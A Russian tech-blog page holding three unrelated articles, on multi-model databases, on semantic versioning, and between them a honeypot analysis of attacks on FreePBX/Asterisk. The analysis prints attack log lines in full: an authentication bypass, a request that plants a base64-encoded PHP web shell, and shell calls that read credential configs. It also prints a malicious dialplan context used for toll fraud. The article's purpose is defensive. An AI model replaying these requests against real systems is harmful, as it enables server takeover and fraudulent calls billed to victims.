По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Многомерные системы управления данными (МСУБД) объединяют несколько систем баз данных в одну. Вместо работы с несколькими моделями и поиска возможностей для их объединения, МСУБД предлагает общий механизм для различных типов данных.
В данной статье приводится подробный обзор многомерных баз данных.
Что такое многомерные базы данных?
Многомерная база данных (Multi-Model Database) – это система управления, которая сочетает несколько типов БД в одну серверную систему. Большинство СУБД поддерживает одну модель БД, а в МСУБД можно хранить, запрашивать и индексировать данные из нескольких моделей.
Важное преимущество многомерных БД заключается в многоязычной сохранности, когда не нужно искать способы для объединения различных моделей. Гибкий подход позволяет хранить данные разными способами. В результате вы получаете:
Гибкое и динамичное программирование
Снижение избыточности данных
Например, изучать взаимосвязи между точками данных или создавать систему рекомендаций гораздо проще с помощью графовых БД, а реляционные БД лучше подходят для определения связи между столбцами данных.
Ключевая функция МСУБД заключается в ее способности преобразовывать данные из одного формата в другой. К примеру, данные в формате JSON быстро преобразуются в XML. Преобразование форматов данных обеспечивает дополнительную гибкость и упрощает соответствие определенным требованиям проекта.
Примеры использования МСУБД
Варианты использования СУБД позволяют лучше понять принципы работы данной модели. Анализируя практические примеры, вам становится ясно, как несколько моделей работают в единой системе.
Хранение и управление несколькими источниками данных
Классическая IT-система использует различные источники данных. Информация не всегда хранится в том же формате или в той же базе данных. Несколько форматов складываются в сложную систему – трудную для поддержания и поиска данных.
Хранение данных в МСУБД облегчает администрирование систем. Все находится в одной базе, поэтому на хранение и управление данными из разных источников тратится меньше времени.
Расширение возможностей модели
Многомерные базы данных предлагают расширения для моделей. Особенности одних моделей перекрывают недочеты других.
Например, очень просто запрашивать данные в JSON-формате через SQL-запросы. Нет необходимости корректировать исходный источник данных. Расширяемость сокращает время обработки данных и устраняет необходимость в ETL-системах (извлечение, преобразование, загрузка).
Гибридные среды данных
Классическая среда данных разграничивает операционные данные от аналитических. Данные для анализа необходимо преобразовать и хранить отдельно от операционных.
Происходит задвоение, и качество данных снижается. Разделенное пространство повышает затраты на техническое обслуживание. Всем базам данных необходимо администрирование и управление резервным копированием.
Многомерная БД использует гибридный подход к хранению данных. Унифицированные узлы, в которых хранятся транзакционные данные и из которых извлекаются аналитические, намного проще поддерживать.
Централизация данных
У данных в организации есть определенные ограничения. Такие ограничения нужны, но они усложняют работу с информацией внутри компании.
Многомерные БД хранят данные в формате as-is («как есть»), поэтому никакие преобразования не нужны. Централизация данных дает ценную информацию о существующих данных и предлагает возможности для создания новых вариантов использования.
Поиск больших данных
Hadoop отлично справляется с обработкой больших объемов данных в разных моделях. Основная причина – скорость получения, обработки и хранения данных. Единственное, чего не хватает Hadoop, – это эффективного механизма поиска.
Если взять вычислительные мощности Hadoop и объединить их с возможностями поиска по многомерной БД, то получится функциональная система. Процесс работы становится масштабируемым и удобным для выполнения задач над большими данными.
Плюсы и минусы многомерной базы данных
В многомерных базах данных есть свои плюсы и минусы. В таблице ниже перечислены ключевые пункты:
Плюсы
Минусы
Постоянство данных
Сложность
Динамичность
Все еще в стадии разработки
ACID-совместимость
Не хватает методов моделирования
Подходят для сложных проектов
Не подходят для простых проектов
Такая модель подходит для корпоративных настроек с множеством данных. Разные секторы пользуются данными для разных задач. Но детализированной и уже настроенной структуре многоязычной сохранности может не хватать возможностей многомерной системы.
Плюсы
Преимущества многомерных баз данных:
согласованность данных между моделями за счет единой серверной системы
динамичная среда с использованием различных типов данных на одной платформе
отказоустойчивость, из-за ACID-совместимости
подходят для сложных проектов с множественным представлением данных
Минусы
Недочеты многомерных баз данных:
сложность МСУБД, из-за чего с ними трудно работать
модель БД все еще развивается и не имеет окончательной формы
ограниченная доступность различных методов моделирования
не подходит для более простых проектов или систем
Какие многомерные базы данных считаются самыми лучшими?
На рынке представлено огромное множество многомерных типов БД. Их самой примечательной особенностью является поддержка нескольких моделей на одном сервере.
Некоторые БД накладывают несколько моделей на сервер через компоненты. Но такие типы БД не считаются подлинными многомерными базами.
Еще одно важное отличие – доступные методы моделирования. Этот аспект крайне важен для того, чтобы получать максимальную пользу от доступных данных.
MarkLogic Server
MarkLogic Server – это многомерная нереляционная база данных. Она появилась как хранилище XLM, а затем была доработана для хранения различных моделей:
документной
графовой
текстовой
пространственной
типа «ключ – значение»
реляционной
Это универсальная, эффективная и безопасная база данных. Возможности сервера MarkLogic:
Безопасность и управление. Интегрированное управление безопасностью данных и пользователей.
ACID-совместимость. Обеспечивает строгую согласованность данных.
Расширенный поиск. Доступ к данным обеспечивает встроенная поисковая система с семантическим поиском.
Разноплановая аналитика. Вам доступны настраиваемые инструменты для аналитики и бизнес-аналитики.
Встроенное машинное обучение. Интеллектуальное автоматизированное курирование данных с помощью встроенных алгоритмов машинного обучения обеспечивает более быстрый доступ к данным.
Отказоустойчивость. Mark Logic предлагает высокую доступность и систему аварийного восстановления, помогающую избегать любого рода сбоев.
Поддержка гибридного облака. База данных позволяет самостоятельно управлять развертыванием с помощью гибридных облачных решений.
ArangoDB
ArangoDB – это нативная многомерная система управления базами данных. Она поддерживает следующие форматы данных:
документные
графовые
«ключ-значение»
База данных извлекает и изменяет данные с помощью унифицированного языка запросов AQL. К другим важным особенностям относятся:
Расширенные соединения. Позволяет соединять данные с помощью гибких запросов, что снижает их избыточность.
Транзакции. Выполнение запросов к нескольким документам с доступной изоляцией и согласованностью транзакций.
Сегментирование. Синхронная репликация путем сегментирования позволяет снижать внутреннюю кластерную связь, повышая при этом производительность и скорость соединения.
Репликация. Репликация обеспечивает распределенную БД в пределах одного центра обработки данных.
Многопоточность. Благодаря многопоточности, БД может использовать несколько ядер.
OrientDB
OrientDB – это многомерная нереляционная база данных с открытым кодом, написанная на Java. Эта БД поддерживает следующие модели:
документную
графовую
тип «ключ-значение»
объектную
пространственную
OrientDB первая ввела несколько моделей на уровне ядра. Эта база данных поставляется с рядом уникальных функций, к которым относятся:
Поддержка SQL. БД поддерживает SQL-запросы, благодаря чему программистам легче переключиться с реляционных моделей на OrientDB.
ACID-совместимость. База данных полностью транзакционна; таким способом достигается ее надежность.
Распределенная. Полная поддержка репликации с множеством master на разных выделенных серверах.
Портативная. Позволяет быстро импортировать реляционные базы данных.
Заключение
Существует великое множество методов моделирования баз данных, и в каждом решении можно найти свои плюсы и минусы. Многомерные БД стремятся объединить различные базы данных в единую серверную систему, благодаря чему при разрастании системы ее сложность и потребление ресурсов не увеличиваются.
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
Семантическое управление версиями (или семвер) – это формальное соглашение для определения номера версии новых выпусков программного обеспечения. Стандарт помогает пользователям программного обеспечения понять серьезность изменений в каждом новом дистрибутиве.
Проект, использующий семантическое управление версиями, объявляет основной номер версии (major), дополнительный номер версии (minor) и номер исправления (patch) для каждого выпуска. Строка версии 1.2.3 указывает на основную версию под номером 1, дополнительную версию под номером 2 и исправление под номером 3.
Номера версий такого формата широко используются как программными пакетами, так и исполняемыми файлами конечных пользователей, такими как приложения и игры. Однако не каждый проект точно следует стандарту, установленному semver.org.
Спецификация была создана для решения проблем, вызванных несовместимостью методов управления версиями между программными пакетами, используемыми в качестве зависимостей. Под «пакетом» и «зависимостью» мы подразумеваем библиотеку кода, предназначенную для использования в другом программном проекте и распространяемую диспетчером пакетов, таким как npm, composer или nuget. Это именно то применение семантического управления версиями, которое мы рассматриваем в этой статье.
Major, Minor и Patch
Важно понимать значение трех задействованных компонентов. Вместе они намечают путь разработки проекта и соотносят влияние каждого нового выпуска на конечных пользователей.
Major number (основной номер версии) – основной номер указывает на текущую версию общедоступного интерфейса пакета. Он увеличивается каждый раз, когда вы вносите изменения, которые требуют от существующих пользователей вашего пакета обновления их собственной работы.
Minor number (дополнительный номер версии) – дополнительный номер указывает на текущую функциональную версию вашего программного обеспечения. Он увеличивается всякий раз, когда вы добавляете новую функцию, но не меняете интерфейс вашего пакета. Он сообщает пользователям о том, что были внесены значительные изменения, но пакет полностью совместимым с предыдущими версиями с предыдущим дополнительным номером.
Patch number (номер исправления) – номер исправления увеличивается каждый раз, когда вы вносите какое-то незначительное изменение, которое не влияет на общедоступный интерфейс или общую функциональность вашего пакета. Его чаще всего используют для исправления ошибок. Потребители всегда должны иметь возможность не задумываясь установить последнюю версию исправлений.
Семантическая структура версии выпуска лучше всего моделируется в виде дерева. Наверху у вас изменения общедоступного интерфейса, каждое из которых отображается на основном номере. Каждая основная версия имеет свой собственный набор дополнительных версий, в которые добавляются новые функции без нарушения совместимости с предыдущими версиями. И наконец, дополнительные версии могут время от времени отлаживаться путем исправления некоторых ошибок.
Откуда начинать?
Большинство проектов должны начинаться с версии 1.0.0. Вы публикуете свой первый общедоступный интерфейс и первоначальный неизмененный набор функций. И поскольку вам еще не приходилось вносить никаких исправления, то и версия исправления – 0.
Теперь давайте посмотрим, что же происходит, когда вы вносите изменения в свой пакет. После вашего первоначального выпуска вы получаете отчет об ошибке от пользователя. Когда вы выпустите исправление, то правильный номер версии уже будет 1.0.1. Если бы вы затем выпустили еще одну версию с исправлением ошибок, то вы бы увеличили номер исправления до 2, т.е. номер версии уже был бы 1.0.2.
Тем временем вы также работали над новой интересной функцией. Это совершенно необязательно, поэтому пользователям не нужно ничего делать для обновления. Вы выпускаете эту версию как 1.1.0. – создана новая функциональная среда, но ее еще ни разу не исправляли. К сожалению, скоро приходят отчеты об ошибках, и среди ваших пользователей начинает распространяться версия 1.1.1.
Несколько месяцев спустя вы решили провести реорганизацию кода всего проекта. Некоторые функции были удалены или теперь доступны через объединенный интерфейс. Если вы выпустите эту работу, то люди, использующие текущую версию вашего пакета, должны будут внести серьезные изменения в свой проект. Пришло время опубликовать 2.0.0. в вашем репозитории пакетов.
Поддержание старых веток
Увеличение какого-либо номера в вашей строке версий не создает точку невозврата. После публикации 1.1.1 вы могли обнаружить ошибку, присутствующую в 1.0.2. Используя ветки в вашей системе контроля версий, вы можете произвести исправления в обеих версиях. В итоге вы получите 1.1.2 и 1.0.3.
Точно также вы можете поддерживать ветку 1.х вашего проекта, несмотря на выпуск 2.0.0. Может показаться странным публиковать 1.1.2 после 2.0.1, но это вполне нормальная практика. Семантическое управление версиями не создает линейный постоянно увеличивающийся номер версии; наоборот, оно предназначено для использования в качестве части модели разработки ветвления, которое использует простоту установки исправлений, предлагаемую системами управления исходным кодом, такими как Git.
Опубликованные версии должны быть неизменяемыми. После того, как вы создали версию 2.4.3, вы не можете «обновить» его, просто добавив дополнительный код в ту же строку версии. Вы должны присваивать новый номер версии каждому выпуску, чтобы пользователи всегда могли получить доступ к каждой конкретной версии вашего пакета.
Обработка пакетов, находящихся в стадии разработки
Как правило, вы всегда обновляете основную версию своего пакета всякий раз, когда вносятся изменения, несовместимые с предыдущими версиями. Когда вы находитесь в стадии разработки, то ваша кодовая база может дорабатываться очень быстро, что приводит к публикации множества основных версий.
Вы можете этого избежать, рекламируя свой проект как 0.y.z. Значение 0 в качестве основной версии означает, что ваш пакет неустойчив. Обычные правила в отношении совместимости с предыдущими версиями тут не применяются, поэтому вы можете выпускать новые версии, увеличивая только дополнительный номер и номер исправления. Это значит, что вы можете использовать 1.0.0 для обозначения первой «завершенной» версии вашего программного обеспечения.
Вы также можете добавить дополнительные «идентификаторы» в конец строки версии, используя дефис в качестве разделителя: 1.0.0-alpha.1. Вы можете использовать такой вариант для того, чтобы четко обозначить альфа- и бета-версии. Точно также вы можете включить метаданные сборки, добавив символ +: 1.1.0-alpha.1+linux_x86.
Заключение
Согласованное использование семантического управления версиями помогает пользователям быть уверенными в вашем проекте. Они могут четко видеть, как развивается ваша кодовая база и нужно ли им самим провести какую-то работу, чтобы идти в ногу со временем.
Объявление строки семантической версии необходимо при публикации в диспетчере наиболее популярных пакетов. Тем не менее, в конечном счете, вам решать, какие номера вы устанавливаете для каждого нового выпуска. Соблюдение стандарта четко сообщает о ваших намерениях пользователям и сводит к минимуму риск непреднамеренного нарушения чужой работы.